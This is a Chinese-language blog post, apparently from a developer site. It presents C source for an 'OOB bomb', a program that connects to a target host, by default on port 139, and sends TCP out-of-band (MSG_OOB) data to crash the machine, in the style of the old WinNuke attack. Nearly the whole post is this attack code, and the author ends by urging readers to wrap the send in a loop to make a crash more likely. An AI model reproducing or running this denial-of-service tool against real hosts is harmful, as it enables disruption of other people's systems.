linux下oob_cmd命令,linux下 OOB 炸弹的制作

博客给出了一个在Linux下实现OOB炸弹的程序代码。该程序可检查输入的是IP地址还是主机名,能处理命令行参数,建立socket套接口并连接,发送MSG_OOB消息。最后提到一般OOB炸弹会循环大量发送消息以增加对方当机可能性。

/* 这个函数是用来检查输入的参数是IP地址还是主机名 */

int correcthost(const char *host, struct sockaddr_in * sock);

main(int argc, int *argv[])

{

/* 所要攻击的端口,一般 OOB 炸弹默认的是139端口 */

int n_port;

/* socket套接字 */

int sock_id;

/* 返回错误码 */

int rtn_err;

/* socket结构,建立连接、发送消息全靠它了 */

struct sockaddr_in remote_sock;

/* 消息 */

char *pc_msg;

/* 处理命令行参数 */

if(argc != 4){

if(argc != 3){

if(argc !=2){

printf("Usage: oob_bomb

[port] [message]/n");         printf("Writen by mikespook/n");         printf("mikespook@hotmail.com/tWith subject: report for bomb/n");         exit(0);       }else         /* 如果没有输入端口号就用默认的139端口 */         remote_sock.sin_port = htons(139);       }else       /* 否则使用输入的端口 */       remote_sock.sin_port = htons(atoi(argv[2]));     pc_msg = ":-)";   }else{     remote_sock.sin_port = htons(atoi(argv[2]));     pc_msg =(char *)argv[3];   }   rtn_err = correcthost((char *)argv[1], (struct sockaddr_in *)&remote_sock);   if(rtn_err != 0)     exit(1);   remote_sock.sin_family = AF_INET;   /* 建立一个socket套接口 */   sock_id = socket(AF_INET, SOCK_STREAM, 0);   if(sock_id < 0){     perror("/nsocket");     exit(2);   }   /* 当然要连接上才能继续了 */   rtn_err = connect(sock_id, (struct sockaddr *)&remote_sock, sizeof(remote_sock));   if(rtn_err < 0){     perror("/nconnect");     exit(3);   }      /* 呵呵,送一个MSG_OOB消息,"Bomb..." */   rtn_err = send(sock_id, pc_msg, strlen(pc_msg), MSG_OOB);   if(rtn_err == -1){     perror("/nsend");     exit(4);   }      printf("OOB_Bomb Success!/n");   close(sock_id);   exit(0); } /* 这个函数我在上次的tcp connect扫描器的制作中有介绍,不多说了 */ int correcthost(const char *host, struct sockaddr_in *sock) {   struct hostent *struct_host;   if(isdigit(*host))     sock->sin_addr.s_addr = inet_addr(host);   else{     struct_host = gethostbyname(host);     if(struct_host != NULL)       bcopy(struct_host->h_addr, (char *)&sock->sin_addr, struct_host->h_length);     else{       printf("Get error with host name./n");       return -1;     }   }   return 0; } ------------------------------------------------------------------------------- 最后补充一下,在发送MSG_OOB消息的时候一般的 OOB 炸弹会做一个循环,大量的发送 MSG_OOB 消息,以增加对方当机的可能性。原理我已经说了,改进就由你完成了。:) 由于我是菜鸟,或许有什么不对的地方。也可能一些细节我没有考虑到。如果你知道的话希望不惜指教。小弟感激不尽!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值